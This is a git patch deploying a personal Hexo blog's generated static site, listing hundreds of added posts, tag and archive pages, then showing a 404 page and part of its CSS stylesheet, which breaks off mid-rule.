From be4827a47aa1ca999f8b6db8e0b7d7e0dda06906 Mon Sep 17 00:00:00 2001 From: GamerNoTitle Date: Fri, 28 Jul 2023 09:55:58 +0000 Subject: [PATCH] Deploy with Github Action --- 404.html | 98 + 404css/style.css | 638 + 404js/jquery.min.js | 5 + 404js/parallax.min.js | 2 + 404js/script.js | 3 + 5AM-Onedrive-Guide/index.html | 347 + 666/index.html | 545 + 666/index.md.bak | 637 + About/index.html | 296 + BingSiteAuth.xml | 4 + CALABIYAU/CALABIYAU.html | 468 + CALABIYAU/README.html | 292 + CALABIYAU/loading-bg.jpg | Bin 0 -> 183875 bytes CALABIYAU/loading-center-original.png | Bin 0 -> 47944 bytes CALABIYAU/loading-center.png | Bin 0 -> 51599 bytes CALABIYAU/loading-in.png | Bin 0 -> 8794 bytes CALABIYAU/loading-out.png | Bin 0 -> 12162 bytes CALABIYAU/loading-progress.png | Bin 0 -> 18567 bytes CNAME | 1 + Dynamics/index.html | 303 + Music/index.html | 323 + README.md | 16 + SSR-Usage/index.md.bak | 148 + ads.txt | 1 + archives/2019/07/index.html | 263 + archives/2019/08/index.html | 263 + archives/2019/09/index.html | 263 + archives/2019/10/index.html | 263 + archives/2019/11/index.html | 263 + archives/2019/index.html | 263 + archives/2019/page/2/index.html | 263 + archives/2020/01/index.html | 263 + archives/2020/02/index.html | 263 + archives/2020/03/index.html | 263 + archives/2020/04/index.html | 263 + archives/2020/05/index.html | 263 + archives/2020/07/index.html | 263 + archives/2020/09/index.html | 263 + archives/2020/11/index.html | 263 + archives/2020/12/index.html | 263 + archives/2020/index.html | 263 + archives/2020/page/2/index.html | 263 + archives/2020/page/3/index.html | 263 + archives/2021/05/index.html | 263 + archives/2021/06/index.html | 263 + archives/2021/08/index.html | 263 + archives/2021/11/index.html | 263 + archives/2021/index.html | 263 + archives/2022/02/index.html | 263 + archives/2022/03/index.html | 263 + archives/2022/04/index.html | 263 + archives/2022/05/index.html | 263 + archives/2022/06/index.html | 263 + archives/2022/07/index.html | 263 + archives/2022/08/index.html | 263 + archives/2022/10/index.html | 263 + archives/2022/11/index.html | 263 + archives/2022/12/index.html | 263 + archives/2022/index.html | 263 + archives/2022/page/2/index.html | 263 + archives/2022/page/3/index.html | 263 + archives/2022/page/4/index.html | 263 + archives/2023/01/index.html | 263 + archives/2023/02/index.html | 263 + archives/2023/03/index.html | 263 + archives/2023/04/index.html | 263 + archives/2023/05/index.html | 263 + archives/2023/06/index.html | 263 + archives/2023/07/index.html | 263 + archives/2023/index.html | 263 + archives/2023/page/2/index.html | 263 + archives/index.html | 263 + archives/page/10/index.html | 263 + archives/page/2/index.html | 263 + archives/page/3/index.html | 263 + archives/page/4/index.html | 263 + archives/page/5/index.html | 263 + archives/page/6/index.html | 263 + archives/page/7/index.html | 263 + archives/page/8/index.html | 263 + archives/page/9/index.html | 263 + assets/css/APlayer.min.css | 3 + assets/js/APlayer.min.js | 2 + assets/js/Meting.min.js | 1 + atom.xml | 577 + baidu_urls.txt | 95 + baidusitemap.xml | 383 + bangumis/index.html | 25640 ++++++++++++++++ biliroaming/index.html | 125 + categories/CTF/index.html | 388 + categories/Coding/index.html | 402 + categories/Diary/index.html | 282 + categories/Games/index.html | 273 + categories/IoT/index.html | 274 + categories/MATLAB/index.html | 281 + categories/Software/index.html | 388 + categories/Software/page/2/index.html | 402 + categories/Software/page/3/index.html | 294 + categories/Tech/index.html | 371 + categories/Tech/page/2/index.html | 398 + categories/Tech/page/3/index.html | 434 + categories/Tech/page/4/index.html | 299 + categories/diary/index.html | 357 + categories/diary/page/2/index.html | 274 + categories/index.html | 288 + charts/index.html | 582 + css/index.css | 5671 ++++ css/twikoo-height.css | 5 + placeholder => css/var.css | 0 img/404.jpg | Bin 0 -> 16393 bytes img/666/6.jpg | Bin 0 -> 101657 bytes img/666/GoodLuck.jpg | Bin 0 -> 566992 bytes img/bangumi-loading.gif | Bin 0 -> 4788 bytes img/favicon.png | Bin 0 -> 323 bytes img/friend_404.gif | Bin 0 -> 65097 bytes index.html | 375 + js/301Redirect.js | 6 + js/main.js | 778 + js/search/algolia.js | 163 + js/search/local-search.js | 188 + js/tw_cn.js | 100 + js/utils.js | 278 + link/index.html | 866 + page/10/index.html | 343 + page/2/index.html | 445 + page/3/index.html | 407 + page/4/index.html | 403 + page/5/index.html | 391 + page/6/index.html | 409 + page/7/index.html | 440 + page/8/index.html | 413 + page/9/index.html | 410 + posts/301Redirect/index.html | 331 + posts/API-FLASK/index.html | 335 + posts/Access-WSL-through-Windows/index.html | 322 + posts/BaiduNetDisk-Limit-Break/index.html | 315 + posts/BeatSaber-Noob/index.html | 340 + posts/CSGO-Anti-LowViolence/index.html | 294 + posts/CSGO-Server/index.html | 481 + posts/CTF-20220529/index.html | 298 + posts/CTF-20220619/index.html | 368 + .../index.html | 306 + posts/CTF-in-College-1/index.html | 301 + posts/CTF-in-College-2/index.html | 331 + posts/CTF-in-College-3/index.html | 335 + posts/CTF-in-College-4/index.html | 348 + posts/CTF-in-College-5/index.html | 350 + posts/CTF-in-College-6/index.html | 343 + posts/CTF-in-College-7/index.html | 321 + posts/CloudFlare-Workers-Section1/index.html | 312 + posts/CloudFlare-Workers/index.html | 313 + posts/Cloudflare-Workers-Section2/index.html | 317 + posts/Custom-Wechat-Pusher/index.html | 416 + .../index.html | 504 + .../index.html | 310 + posts/Enchance-my-Surface-Pro-5/index.html | 356 + posts/FODI/index.html | 322 + posts/Fight-against-COVID19/index.html | 322 + posts/Full-use-of-replit/index.html | 316 + posts/Github-Basic/index.html | 371 + posts/Go-for-Python-Ch1/index.html | 436 + posts/Go-for-Python-Ch2/index.html | 330 + posts/Go-for-Python-Ch3/index.html | 312 + posts/Go-for-Python-Ch4/index.html | 314 + posts/Go-for-Python-Ch5/index.html | 310 + posts/Go-for-Python-Ch6/index.html | 351 + posts/Go-for-Python-Ch7/index.html | 310 + posts/Go-for-Python-Ch8/index.html | 288 + posts/Go-for-Python-Ch9/index.html | 374 + posts/Hitokoto-Spider/index.html | 452 + posts/ID-History/index.html | 314 + posts/INVAXION-Unlock-Log/index.html | 323 + .../index.html | 292 + .../index.html | 317 + posts/MATLAB20211125/index.html | 330 + posts/MATLAB20211126/index.html | 380 + posts/MCDR-Mirror-Server-Usage/index.html | 364 + posts/MCDR-Usage/index.html | 373 + posts/MHYY-AutoCheckin-Manual/index.html | 445 + .../index.html | 306 + posts/Making-GUI-with-PyQt5/index.html | 286 + .../index.html | 330 + posts/Move-your-wsa-data/index.html | 295 + posts/My-Office365-is-Down/index.html | 288 + posts/Netease-Comment-Spider/index.html | 346 + posts/NeteaseCloudGameFree/index.html | 356 + posts/NeteaseMusicDownload/index.html | 301 + posts/Office365-Renew-Project/index.html | 343 + posts/Office365/index.html | 318 + posts/Pixiv-Nginx/index.html | 330 + posts/Pycharm-Unlimited-Evaluate/index.html | 298 + posts/Raspberry-4B-Log/index.html | 320 + .../index.html | 379 + posts/Steam-Artwork/index.html | 326 + posts/SteamAutoQueue-Manual/index.html | 342 + posts/Teamspeak-Server/index.html | 333 + posts/Ticwatch-pro-3-experience/index.html | 357 + posts/Unblock163Music/index.html | 303 + posts/Update-Python-on-my-server/index.html | 313 + posts/Use-telegram-with-pagermaid/index.html | 342 + posts/Valine-Admin/index.html | 388 + posts/Valine-Customize/index.html | 345 + posts/Valine-Magic/index.html | 468 + posts/Valorant-Shop-with-API/index.html | 684 + .../index.html | 478 + posts/Why-I-return-to-Valine/index.html | 322 + posts/Why-my-sudo-is-so-slow/index.html | 289 + posts/Windows-Setup/index.html | 319 + posts/Windows10-Beautify/index.html | 329 + posts/biliRoaming/index.html | 313 + posts/butterfly-customize/index.html | 566 + posts/cmder/index.html | 330 + posts/diary1/index.html | 287 + posts/diary10/index.html | 297 + posts/diary2/index.html | 286 + posts/diary3/index.html | 447 + posts/diary4/index.html | 297 + posts/diary5/index.html | 304 + posts/diary6/index.html | 295 + posts/diary7/index.html | 310 + posts/diary8/index.html | 328 + posts/diary9/index.html | 303 + posts/hexo-deploy-guide/index.html | 422 + posts/jsDelivr-Usage/index.html | 331 + posts/lanqiao-2022-province/index.html | 432 + posts/srs/index.html | 399 + posts/vercel-reverse-proxy/index.html | 314 + robots.txt | 12 + search.xml | 2684 ++ sitemap.xml | 1936 ++ steamgames/index.html | 581 + submit_urls.txt | 50 + svg/dribbble.svg | 5 + svg/link.svg | 8 + svg/linkedin.svg | 6 + svg/logo_white.svg | 6 + tags/API/index.html | 285 + tags/Action/index.html | 271 + tags/AntiLowViolence/index.html | 273 + tags/Aria2/index.html | 270 + tags/BT/index.html | 275 + tags/Baidu/index.html | 270 + tags/BaiduNetdisk/index.html | 270 + tags/Beat-Saber/index.html | 275 + tags/CDN/index.html | 297 + tags/COVID19/index.html | 266 + tags/CSGO/index.html | 284 + tags/CTF/index.html | 388 + tags/Class/index.html | 271 + tags/Cloud-Function/index.html | 274 + tags/Cloudflare/index.html | 311 + tags/CobaltStrike/index.html | 284 + tags/Coding/index.html | 402 + tags/Comments/index.html | 269 + tags/Crypto/index.html | 288 + tags/Customize/index.html | 345 + tags/Diary/index.html | 282 + tags/Download/index.html | 275 + tags/Dynamic/index.html | 293 + tags/FODI/index.html | 267 + tags/Flask/index.html | 285 + tags/FydeOS/index.html | 274 + tags/Game/index.html | 285 + tags/GameServer/index.html | 274 + tags/Games/index.html | 285 + tags/Gcore/index.html | 284 + tags/Github-Pages/index.html | 278 + tags/Github/index.html | 294 + tags/HID/index.html | 278 + tags/HUAWEI-Watch/index.html | 267 + tags/Hash/index.html | 280 + tags/Hexo/index.html | 278 + tags/High-School/index.html | 273 + tags/Host/index.html | 366 + tags/IoT/index.html | 274 + tags/JSProxy/index.html | 311 + tags/Linux/index.html | 274 + tags/MATLAB/index.html | 281 + tags/Military/index.html | 273 + tags/Mod/index.html | 275 + tags/Morse/index.html | 271 + tags/NAS/index.html | 270 + tags/Netease/index.html | 291 + tags/Noob/index.html | 271 + tags/Notification/index.html | 269 + tags/Office365/index.html | 292 + tags/Onedrive/index.html | 267 + tags/Optimize/index.html | 285 + tags/PerfectWorld/index.html | 273 + tags/Pico-Neo-3/index.html | 275 + tags/PicoVR/index.html | 275 + tags/Powershell/index.html | 278 + tags/Proxy/index.html | 276 + tags/Python/index.html | 393 + tags/Queue/index.html | 267 + tags/Raspberry/index.html | 274 + tags/Regedit/index.html | 277 + tags/Repetition/index.html | 273 + tags/SEO/index.html | 285 + tags/SSRF/index.html | 283 + tags/Save/index.html | 277 + tags/Script/index.html | 315 + tags/Sec/index.html | 282 + tags/Server/index.html | 267 + tags/Serverless/index.html | 297 + tags/Smart-Watch/index.html | 267 + tags/Software/index.html | 398 + tags/Software/page/2/index.html | 395 + tags/Software/page/3/index.html | 287 + tags/Spider/index.html | 268 + tags/Stack/index.html | 271 + tags/Steam/index.html | 289 + tags/String/index.html | 269 + tags/Surface/index.html | 274 + tags/Synology/index.html | 282 + tags/Teamspeak/index.html | 275 + tags/Tech/index.html | 403 + tags/Tech/page/2/index.html | 380 + tags/Tech/page/3/index.html | 406 + tags/Theme/index.html | 280 + tags/Ticwatch/index.html | 279 + tags/Trojan/index.html | 269 + tags/Tutorial/index.html | 275 + tags/Ubuntu/index.html | 274 + tags/VR/index.html | 275 + tags/Valine/index.html | 303 + tags/Valorant/index.html | 269 + tags/Vercel/index.html | 276 + tags/Virus/index.html | 277 + tags/WIFI/index.html | 279 + tags/WSL/index.html | 267 + tags/Warframe/index.html | 271 + tags/Web/index.html | 283 + tags/Webmaster/index.html | 285 + tags/Website/index.html | 269 + tags/Windows/index.html | 278 + tags/adb/index.html | 279 + tags/aircrack/index.html | 279 + tags/apk/index.html | 287 + tags/biliRoaming/index.html | 339 + tags/datatype/index.html | 317 + tags/decompile/index.html | 272 + tags/diary/index.html | 357 + tags/diary/page/2/index.html | 274 + tags/emoji/index.html | 293 + tags/experience/index.html | 266 + tags/flyio/index.html | 328 + tags/hardlink/index.html | 269 + tags/index.html | 288 + tags/jsdelivr/index.html | 297 + tags/linux-surface/index.html | 274 + tags/live/index.html | 282 + tags/mail/index.html | 269 + tags/meme/index.html | 293 + tags/message/index.html | 269 + tags/msfconsole/index.html | 280 + tags/msfvenom/index.html | 271 + tags/railway/index.html | 269 + tags/raspberry/index.html | 270 + tags/reverse/index.html | 272 + tags/school/index.html | 279 + tags/stream/index.html | 282 + tags/wechat/index.html | 269 + .../index.html" | 273 + .../index.html" | 273 + "tags/\347\274\226\350\257\221/index.html" | 273 + tencent4061228047974157763.txt | 1 + unlock-music/index.html | 292 + v2ray-Usage/index.md.bak | 82 + volunteer/index.md.bak | 67 + 370 files changed, 140113 insertions(+) create mode 100644 404.html create mode 100644 404css/style.css create mode 100644 404js/jquery.min.js create mode 100644 404js/parallax.min.js create mode 100644 404js/script.js create mode 100644 5AM-Onedrive-Guide/index.html create mode 100644 666/index.html create mode 100644 666/index.md.bak create mode 100644 About/index.html create mode 100644 BingSiteAuth.xml create mode 100644 CALABIYAU/CALABIYAU.html create mode 100644 CALABIYAU/README.html create mode 100644 CALABIYAU/loading-bg.jpg create mode 100644 CALABIYAU/loading-center-original.png create mode 100644 CALABIYAU/loading-center.png create mode 100644 CALABIYAU/loading-in.png create mode 100644 CALABIYAU/loading-out.png create mode 100644 CALABIYAU/loading-progress.png create mode 100644 CNAME create mode 100644 Dynamics/index.html create mode 100644 Music/index.html create mode 100644 README.md create mode 100644 SSR-Usage/index.md.bak create mode 100644 ads.txt create mode 100644 archives/2019/07/index.html create mode 100644 archives/2019/08/index.html create mode 100644 archives/2019/09/index.html create mode 100644 archives/2019/10/index.html create mode 100644 archives/2019/11/index.html create mode 100644 archives/2019/index.html create mode 100644 archives/2019/page/2/index.html create mode 100644 archives/2020/01/index.html create mode 100644 archives/2020/02/index.html create mode 100644 archives/2020/03/index.html create mode 100644 archives/2020/04/index.html create mode 100644 archives/2020/05/index.html create mode 100644 archives/2020/07/index.html create mode 100644 archives/2020/09/index.html create mode 100644 archives/2020/11/index.html create mode 100644 archives/2020/12/index.html create mode 100644 archives/2020/index.html create mode 100644 archives/2020/page/2/index.html create mode 100644 archives/2020/page/3/index.html create mode 100644 archives/2021/05/index.html create mode 100644 archives/2021/06/index.html create mode 100644 archives/2021/08/index.html create mode 100644 archives/2021/11/index.html create mode 100644 archives/2021/index.html create mode 100644 archives/2022/02/index.html create mode 100644 archives/2022/03/index.html create mode 100644 archives/2022/04/index.html create mode 100644 archives/2022/05/index.html create mode 100644 archives/2022/06/index.html create mode 100644 archives/2022/07/index.html create mode 100644 archives/2022/08/index.html create mode 100644 archives/2022/10/index.html create mode 100644 archives/2022/11/index.html create mode 100644 archives/2022/12/index.html create mode 100644 archives/2022/index.html create mode 100644 archives/2022/page/2/index.html create mode 100644 archives/2022/page/3/index.html create mode 100644 archives/2022/page/4/index.html create mode 100644 archives/2023/01/index.html create mode 100644 archives/2023/02/index.html create mode 100644 archives/2023/03/index.html create mode 100644 archives/2023/04/index.html create mode 100644 archives/2023/05/index.html create mode 100644 archives/2023/06/index.html create mode 100644 archives/2023/07/index.html create mode 100644 archives/2023/index.html create mode 100644 archives/2023/page/2/index.html create mode 100644 archives/index.html create mode 100644 archives/page/10/index.html create mode 100644 archives/page/2/index.html create mode 100644 archives/page/3/index.html create mode 100644 archives/page/4/index.html create mode 100644 archives/page/5/index.html create mode 100644 archives/page/6/index.html create mode 100644 archives/page/7/index.html create mode 100644 archives/page/8/index.html create mode 100644 archives/page/9/index.html create mode 100644 assets/css/APlayer.min.css create mode 100644 assets/js/APlayer.min.js create mode 100644 assets/js/Meting.min.js create mode 100644 atom.xml create mode 100644 baidu_urls.txt create mode 100644 baidusitemap.xml create mode 100644 bangumis/index.html create mode 100644 biliroaming/index.html create mode 100644 categories/CTF/index.html create mode 100644 categories/Coding/index.html create mode 100644 categories/Diary/index.html create mode 100644 categories/Games/index.html create mode 100644 categories/IoT/index.html create mode 100644 categories/MATLAB/index.html create mode 100644 categories/Software/index.html create mode 100644 categories/Software/page/2/index.html create mode 100644 categories/Software/page/3/index.html create mode 100644 categories/Tech/index.html create mode 100644 categories/Tech/page/2/index.html create mode 100644 categories/Tech/page/3/index.html create mode 100644 categories/Tech/page/4/index.html create mode 100644 categories/diary/index.html create mode 100644 categories/diary/page/2/index.html create mode 100644 categories/index.html create mode 100644 charts/index.html create mode 100644 css/index.css create mode 100644 css/twikoo-height.css rename placeholder => css/var.css (100%) create mode 100644 img/404.jpg create mode 100644 img/666/6.jpg create mode 100644 img/666/GoodLuck.jpg create mode 100644 img/bangumi-loading.gif create mode 100644 img/favicon.png create mode 100644 img/friend_404.gif create mode 100644 index.html create mode 100644 js/301Redirect.js create mode 100644 js/main.js create mode 100644 js/search/algolia.js create mode 100644 js/search/local-search.js create mode 100644 js/tw_cn.js create mode 100644 js/utils.js create mode 100644 link/index.html create mode 100644 page/10/index.html create mode 100644 page/2/index.html create mode 100644 page/3/index.html create mode 100644 page/4/index.html create mode 100644 page/5/index.html create mode 100644 page/6/index.html create mode 100644 page/7/index.html create mode 100644 page/8/index.html create mode 100644 page/9/index.html create mode 100644 posts/301Redirect/index.html create mode 100644 posts/API-FLASK/index.html create mode 100644 posts/Access-WSL-through-Windows/index.html create mode 100644 posts/BaiduNetDisk-Limit-Break/index.html create mode 100644 posts/BeatSaber-Noob/index.html create mode 100644 posts/CSGO-Anti-LowViolence/index.html create mode 100644 posts/CSGO-Server/index.html create mode 100644 posts/CTF-20220529/index.html create mode 100644 posts/CTF-20220619/index.html create mode 100644 posts/CTF-20220826-wangdingcup-qinglong/index.html create mode 100644 posts/CTF-in-College-1/index.html create mode 100644 posts/CTF-in-College-2/index.html create mode 100644 posts/CTF-in-College-3/index.html create mode 100644 posts/CTF-in-College-4/index.html create mode 100644 posts/CTF-in-College-5/index.html create mode 100644 posts/CTF-in-College-6/index.html create mode 100644 posts/CTF-in-College-7/index.html create mode 100644 posts/CloudFlare-Workers-Section1/index.html create mode 100644 posts/CloudFlare-Workers/index.html create mode 100644 posts/Cloudflare-Workers-Section2/index.html create mode 100644 posts/Custom-Wechat-Pusher/index.html create mode 100644 posts/Deploy-biliroaming-go-server-with-flyio/index.html create mode 100644 posts/Deploy-biliroaming-typescript-server-with-vercel/index.html create mode 100644 posts/Enchance-my-Surface-Pro-5/index.html create mode 100644 posts/FODI/index.html create mode 100644 posts/Fight-against-COVID19/index.html create mode 100644 posts/Full-use-of-replit/index.html create mode 100644 posts/Github-Basic/index.html create mode 100644 posts/Go-for-Python-Ch1/index.html create mode 100644 posts/Go-for-Python-Ch2/index.html create mode 100644 posts/Go-for-Python-Ch3/index.html create mode 100644 posts/Go-for-Python-Ch4/index.html create mode 100644 posts/Go-for-Python-Ch5/index.html create mode 100644 posts/Go-for-Python-Ch6/index.html create mode 100644 posts/Go-for-Python-Ch7/index.html create mode 100644 posts/Go-for-Python-Ch8/index.html create mode 100644 posts/Go-for-Python-Ch9/index.html create mode 100644 posts/Hitokoto-Spider/index.html create mode 100644 posts/ID-History/index.html create mode 100644 posts/INVAXION-Unlock-Log/index.html create mode 100644 posts/Install-apk-on-HUAWEI-Watch-Pro-3/index.html create mode 100644 posts/Install-black-synology-NAS-on-previous-PC/index.html create mode 100644 posts/MATLAB20211125/index.html create mode 100644 posts/MATLAB20211126/index.html create mode 100644 posts/MCDR-Mirror-Server-Usage/index.html create mode 100644 posts/MCDR-Usage/index.html create mode 100644 posts/MHYY-AutoCheckin-Manual/index.html create mode 100644 posts/Make-Synology-NAS-to-BT-Downloader/index.html create mode 100644 posts/Making-GUI-with-PyQt5/index.html create mode 100644 posts/Migrate-jsdelivr-mirror-to-Gcore/index.html create mode 100644 posts/Move-your-wsa-data/index.html create mode 100644 posts/My-Office365-is-Down/index.html create mode 100644 posts/Netease-Comment-Spider/index.html create mode 100644 posts/NeteaseCloudGameFree/index.html create mode 100644 posts/NeteaseMusicDownload/index.html create mode 100644 posts/Office365-Renew-Project/index.html create mode 100644 posts/Office365/index.html create mode 100644 posts/Pixiv-Nginx/index.html create mode 100644 posts/Pycharm-Unlimited-Evaluate/index.html create mode 100644 posts/Raspberry-4B-Log/index.html create mode 100644 posts/Stable-diffusion-webui-discovery/index.html create mode 100644 posts/Steam-Artwork/index.html create mode 100644 posts/SteamAutoQueue-Manual/index.html create mode 100644 posts/Teamspeak-Server/index.html create mode 100644 posts/Ticwatch-pro-3-experience/index.html create mode 100644 posts/Unblock163Music/index.html create mode 100644 posts/Update-Python-on-my-server/index.html create mode 100644 posts/Use-telegram-with-pagermaid/index.html create mode 100644 posts/Valine-Admin/index.html create mode 100644 posts/Valine-Customize/index.html create mode 100644 posts/Valine-Magic/index.html create mode 100644 posts/Valorant-Shop-with-API/index.html create mode 100644 posts/Why-I-Choose-to-Repeat-High-School/index.html create mode 100644 posts/Why-I-return-to-Valine/index.html create mode 100644 posts/Why-my-sudo-is-so-slow/index.html create mode 100644 posts/Windows-Setup/index.html create mode 100644 posts/Windows10-Beautify/index.html create mode 100644 posts/biliRoaming/index.html create mode 100644 posts/butterfly-customize/index.html create mode 100644 posts/cmder/index.html create mode 100644 posts/diary1/index.html create mode 100644 posts/diary10/index.html create mode 100644 posts/diary2/index.html create mode 100644 posts/diary3/index.html create mode 100644 posts/diary4/index.html create mode 100644 posts/diary5/index.html create mode 100644 posts/diary6/index.html create mode 100644 posts/diary7/index.html create mode 100644 posts/diary8/index.html create mode 100644 posts/diary9/index.html create mode 100644 posts/hexo-deploy-guide/index.html create mode 100644 posts/jsDelivr-Usage/index.html create mode 100644 posts/lanqiao-2022-province/index.html create mode 100644 posts/srs/index.html create mode 100644 posts/vercel-reverse-proxy/index.html create mode 100644 robots.txt create mode 100644 search.xml create mode 100644 sitemap.xml create mode 100644 steamgames/index.html create mode 100644 submit_urls.txt create mode 100644 svg/dribbble.svg create mode 100644 svg/link.svg create mode 100644 svg/linkedin.svg create mode 100644 svg/logo_white.svg create mode 100644 tags/API/index.html create mode 100644 tags/Action/index.html create mode 100644 tags/AntiLowViolence/index.html create mode 100644 tags/Aria2/index.html create mode 100644 tags/BT/index.html create mode 100644 tags/Baidu/index.html create mode 100644 tags/BaiduNetdisk/index.html create mode 100644 tags/Beat-Saber/index.html create mode 100644 tags/CDN/index.html create mode 100644 tags/COVID19/index.html create mode 100644 tags/CSGO/index.html create mode 100644 tags/CTF/index.html create mode 100644 tags/Class/index.html create mode 100644 tags/Cloud-Function/index.html create mode 100644 tags/Cloudflare/index.html create mode 100644 tags/CobaltStrike/index.html create mode 100644 tags/Coding/index.html create mode 100644 tags/Comments/index.html create mode 100644 tags/Crypto/index.html create mode 100644 tags/Customize/index.html create mode 100644 tags/Diary/index.html create mode 100644 tags/Download/index.html create mode 100644 tags/Dynamic/index.html create mode 100644 tags/FODI/index.html create mode 100644 tags/Flask/index.html create mode 100644 tags/FydeOS/index.html create mode 100644 tags/Game/index.html create mode 100644 tags/GameServer/index.html create mode 100644 tags/Games/index.html create mode 100644 tags/Gcore/index.html create mode 100644 tags/Github-Pages/index.html create mode 100644 tags/Github/index.html create mode 100644 tags/HID/index.html create mode 100644 tags/HUAWEI-Watch/index.html create mode 100644 tags/Hash/index.html create mode 100644 tags/Hexo/index.html create mode 100644 tags/High-School/index.html create mode 100644 tags/Host/index.html create mode 100644 tags/IoT/index.html create mode 100644 tags/JSProxy/index.html create mode 100644 tags/Linux/index.html create mode 100644 tags/MATLAB/index.html create mode 100644 tags/Military/index.html create mode 100644 tags/Mod/index.html create mode 100644 tags/Morse/index.html create mode 100644 tags/NAS/index.html create mode 100644 tags/Netease/index.html create mode 100644 tags/Noob/index.html create mode 100644 tags/Notification/index.html create mode 100644 tags/Office365/index.html create mode 100644 tags/Onedrive/index.html create mode 100644 tags/Optimize/index.html create mode 100644 tags/PerfectWorld/index.html create mode 100644 tags/Pico-Neo-3/index.html create mode 100644 tags/PicoVR/index.html create mode 100644 tags/Powershell/index.html create mode 100644 tags/Proxy/index.html create mode 100644 tags/Python/index.html create mode 100644 tags/Queue/index.html create mode 100644 tags/Raspberry/index.html create mode 100644 tags/Regedit/index.html create mode 100644 tags/Repetition/index.html create mode 100644 tags/SEO/index.html create mode 100644 tags/SSRF/index.html create mode 100644 tags/Save/index.html create mode 100644 tags/Script/index.html create mode 100644 tags/Sec/index.html create mode 100644 tags/Server/index.html create mode 100644 tags/Serverless/index.html create mode 100644 tags/Smart-Watch/index.html create mode 100644 tags/Software/index.html create mode 100644 tags/Software/page/2/index.html create mode 100644 tags/Software/page/3/index.html create mode 100644 tags/Spider/index.html create mode 100644 tags/Stack/index.html create mode 100644 tags/Steam/index.html create mode 100644 tags/String/index.html create mode 100644 tags/Surface/index.html create mode 100644 tags/Synology/index.html create mode 100644 tags/Teamspeak/index.html create mode 100644 tags/Tech/index.html create mode 100644 tags/Tech/page/2/index.html create mode 100644 tags/Tech/page/3/index.html create mode 100644 tags/Theme/index.html create mode 100644 tags/Ticwatch/index.html create mode 100644 tags/Trojan/index.html create mode 100644 tags/Tutorial/index.html create mode 100644 tags/Ubuntu/index.html create mode 100644 tags/VR/index.html create mode 100644 tags/Valine/index.html create mode 100644 tags/Valorant/index.html create mode 100644 tags/Vercel/index.html create mode 100644 tags/Virus/index.html create mode 100644 tags/WIFI/index.html create mode 100644 tags/WSL/index.html create mode 100644 tags/Warframe/index.html create mode 100644 tags/Web/index.html create mode 100644 tags/Webmaster/index.html create mode 100644 tags/Website/index.html create mode 100644 tags/Windows/index.html create mode 100644 tags/adb/index.html create mode 100644 tags/aircrack/index.html create mode 100644 tags/apk/index.html create mode 100644 tags/biliRoaming/index.html create mode 100644 tags/datatype/index.html create mode 100644 tags/decompile/index.html create mode 100644 tags/diary/index.html create mode 100644 tags/diary/page/2/index.html create mode 100644 tags/emoji/index.html create mode 100644 tags/experience/index.html create mode 100644 tags/flyio/index.html create mode 100644 tags/hardlink/index.html create mode 100644 tags/index.html create mode 100644 tags/jsdelivr/index.html create mode 100644 tags/linux-surface/index.html create mode 100644 tags/live/index.html create mode 100644 tags/mail/index.html create mode 100644 tags/meme/index.html create mode 100644 tags/message/index.html create mode 100644 tags/msfconsole/index.html create mode 100644 tags/msfvenom/index.html create mode 100644 tags/railway/index.html create mode 100644 tags/raspberry/index.html create mode 100644 tags/reverse/index.html create mode 100644 tags/school/index.html create mode 100644 tags/stream/index.html create mode 100644 tags/wechat/index.html create mode 100644 "tags/\346\233\264\346\226\260Python/index.html" create mode 100644 "tags/\346\234\215\345\212\241\345\231\250\350\277\220\347\273\264/index.html" create mode 100644 "tags/\347\274\226\350\257\221/index.html" create mode 100644 tencent4061228047974157763.txt create mode 100644 unlock-music/index.html create mode 100644 v2ray-Usage/index.md.bak create mode 100644 volunteer/index.md.bak diff --git a/404.html b/404.html new file mode 100644 index 0000000000..79912dabce --- /dev/null +++ b/404.html @@ -0,0 +1,98 @@ + + + + +页面找不到了 | GamerNoTitle + + + + + + + + + + + +
+ +
+ +
+ + +
+ +
+
+ + + +
+
+ +
+
+ + + +
+
+ +
+
+ + + +
+
+ +

404

+

404

+ +
+ +
+
+

+ 发生错误啦!
+ 你访问的页面找不到了
+ 如果你访问的是文章且地址中仍然为日期格式,请把其中的日期改为/posts/,例如
+ https://bili33.top/2021/06/14/301Redirect/ -> https://bili33.top/posts/301Redirect/ +

+ +
+
+ +
+
+ + + + + + + \ No newline at end of file diff --git a/404css/style.css b/404css/style.css new file mode 100644 index 0000000000..2a1df40fad --- /dev/null +++ b/404css/style.css @@ -0,0 +1,638 @@ + +@import url("https://fonts.googleapis.com/css?family=Barlow+Condensed:300,400,500,600,700,800,900|Barlow:300,400,500,600,700,800,900&display=swap"); + +*{margin:0;padding:0;} +body{overflow:hidden;} + +.about { + position: fixed; + z-index: 10; + bottom: 10px; + right: 10px; + width: 40px; + height: 40px; + display: flex; + justify-content: flex-end; + align-items: flex-end; + transition: all 0.2s ease; +} +.about .bg_links { + width: 40px; + height: 40px; + border-radius: 100%; + display: flex; + justify-content: center; + align-items: center; + background-color: rgba(0, 0, 0, 0.2); + border-radius: 100%; + backdrop-filter: blur(5px); + position: absolute; +} +.about .logo { + width: 40px; + height: 40px; + z-index: 9; + background-image: url(../svg/logo_white.svg); + background-size: 50%; + background-repeat: no-repeat; + background-position: 10px 7px; + opacity: 0.9; + transition: all 1s 0.2s ease; + bottom: 0; + right: 0; +} +.about .social { + opacity: 0; + right: 0; + bottom: 0; +} +.about .social .icon { + width: 100%; + height: 100%; + background-size: 20px; + background-repeat: no-repeat; + background-position: center; + background-color: transparent; + display: flex; + transition: all 0.2s ease, background-color 0.4s ease; + opacity: 0; + border-radius: 100%; +} +.about .social.portfolio { + transition: all 0.8s ease; +} +.about .social.portfolio .icon { + background-image: url(../svg/link.svg); +} +.about .social.dribbble { + transition: all 0.3s ease; +} +.about .social.dribbble .icon { + background-image: url(../svg/dribbble.svg); +} +.about .social.linkedin { + transition: all 0.8s ease; +} +.about .social.linkedin .icon { + background-image: url(../svg/linkedin.svg); +} +.about:hover { + width: 105px; + height: 105px; + transition: all 0.6s cubic-bezier(0.64, 0.01, 0.07, 1.65); +} +.about:hover .logo { + opacity: 1; + transition: all 0.6s ease; +} +.about:hover .social { + opacity: 1; +} +.about:hover .social .icon { + opacity: 0.9; +} +.about:hover .social:hover { + background-size: 28px; +} +.about:hover .social:hover .icon { + background-size: 65%; + opacity: 1; +} +.about:hover .social.portfolio { + right: 0; + bottom: calc(100% - 40px); + transition: all 0.3s 0s cubic-bezier(0.64, 0.01, 0.07, 1.65); +} +.about:hover .social.portfolio .icon:hover { + background-color: #698fb7; +} +.about:hover .social.dribbble { + bottom: 45%; + right: 45%; + transition: all 0.3s 0.15s 